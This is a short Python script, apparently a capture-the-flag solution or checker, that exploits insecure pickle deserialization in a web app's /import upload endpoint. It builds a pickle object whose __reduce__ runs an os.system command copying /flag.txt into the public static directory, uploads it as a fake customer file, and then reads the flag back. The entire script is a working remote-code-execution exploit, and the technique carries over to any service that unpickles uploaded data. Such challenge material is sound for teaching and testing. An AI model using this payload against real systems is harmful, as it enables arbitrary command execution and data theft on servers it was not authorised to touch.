#!/usr/bin/python
# -*- coding: utf-8 -*-
import re, sys, requests
import pickle

HOST, PORT, FLAG = sys.argv[1:4]

def exp(ip, port):
    url = f"http://{ip}:{port}"
    
    class RCE:
        def __reduce__(self):
            import os
            cmd = 'cat /flag.txt > /app/static/flag.txt'
            return os.system, (cmd,)
    
    payload = pickle.dumps(RCE())
    files = {'file': ('customers.pkl', payload)}
    
    r = requests.post(f'{url}/import', files=files)
    
    flag_response = requests.get(f'{url}/static/flag.txt')
    flag = re.findall('DASCTF{(.*?)}', flag_response.text)[0]
    
    return flag

if __name__ == '__main__':
    assert exp(HOST, PORT) == FLAG
    print("Pass!")

